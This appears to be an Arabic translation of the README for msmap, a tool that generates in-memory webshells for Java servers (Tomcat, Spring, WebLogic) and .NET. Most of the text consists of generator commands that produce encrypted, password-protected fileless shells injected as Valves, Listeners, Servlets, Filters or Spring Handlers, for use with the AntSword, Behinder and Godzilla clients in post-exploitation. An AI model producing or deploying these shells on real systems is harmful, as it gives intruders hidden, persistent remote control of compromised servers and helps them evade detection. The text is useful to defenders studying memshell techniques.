hosch3n/msmapمولد ويب شيل وحدوي يعمل بالذاكرة يدعم حاويات Java (Tomcat, Spring, WebLogic) مع أنواع متعددة من الشيلات، ومشفرات، وتجميع تلقائي لاختبار الاختراق بعد الاستغلال.
Msmap هو مولد ويب شيل ذاكري. متوافق مع العديد من الحاويات والمكونات والمشفّر، ويب شيل / بروكسي / كيلر وعملاء الإدارة. الصينية المبسطة
الفكرة وراء الجزء الأول, الفكرة وراء الجزء الثاني, الفكرة وراء الجزء الثالث
*: SpringHandler يدعم فقط JDK8+
*: JVM افتراضيًا يدعم Linux Tomcat 8/9، يمكن تكييف إصدارات أخرى وفقًا للدليل المتقدم.
ويب شيل
لا حاجة للنمطية
Proxy: Neo-reGeorg, wsproxy
Killer: java-memshell-scanner, ASP.NET-Memshell-Scanner
git clone [email protected]:hosch3n/msmap.git
cd msmap
python generator.py
[تحذير] يجب تعيين كلمة مرور فريدة، الخيارات حساسة لحالة الأحرف.
قم بتحرير config/environment.py
# Auto Compile
auto_build = True
# Base64 Encode Class File
b64_class = True
# Generate Script File
generate_script = True
# Compiler Absolute Path
java_compiler_path = r"~/jdk1.6.0_04/bin/javac"
dotnet_compiler_path = r"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe"
قم بتحرير gist/java/container/tomcat/servlet.py
// Servlet Path Pattern
private static String pattern = "*.xml";
إذا تم استخدام مشفر تشفير في WsFilter، يجب أن تكون كلمة المرور هي نفس المسار (مثال /passwd)
gist/java/container/jdk/javax.py مع lib/servlet-api.jar يمكن استبدالهما حسب الحاوية الهدف.
pip3 install pyperclip لدعم النسخ التلقائي إلى الحافظة.
الأمر مع مشفر Base64 | حقن صمام Tomcat
python generator.py Java Tomcat Valve Base64 CMD passwd
النوع JSP مع المشفر الافتراضي | حقن صمام Tomcat
python generator.py Java Tomcat Valve RAW AntSword passwd
النوع JSP مع مشفر aes_128_ecb_pkcs7_padding_md5 | حقن مستمع Tomcat
python generator.py Java Tomcat Listener AES128 AntSword passwd
النوع JSP مع مشفر rc_4_sha256 | حقن سيرفلت Tomcat
python generator.py Java Tomcat Servlet RC4 AntSword passwd
النوع JSP مع مشفر xor_md5 | حقن HttpServlet بدون ملف
python generator.py Java JDK JavaX XOR AntSword passwd
النوع JSPJS مع مشفر aes_128_ecb_pkcs7_padding_md5 | حقن WsFilter Tomcat
python generator.py Java Tomcat WsFilter AES128 JSPJS passwd
النوع JSPJS مع مشفر xor_md5 | حقن معالج Spring
python generator.py Java Spring Handler XOR JSPJS passwd
النوع default_aes | حقن صمام Tomcat
python generator.py Java Tomcat Valve AES128 Behinder rebeyond
النوع default_xor_base64 | حقن معترض Spring
python generator.py Java Spring Interceptor XOR Behinder rebeyond
النوع JAVA_AES_BASE64 | حقن صمام Tomcat
python generator.py Java Tomcat Valve AES128 Godzilla superidol
النوع JAVA_AES_BASE64 | حقن HttpServlet بدون ملف
python generator.py Java JDK JavaX AES128 Godzilla superidol
النوع JAVA_AES_BASE64 | حقن معالج Spring
python generator.py Java Spring Handler AES128 Godzilla superidol
Behinder | wsMemShell | ysomap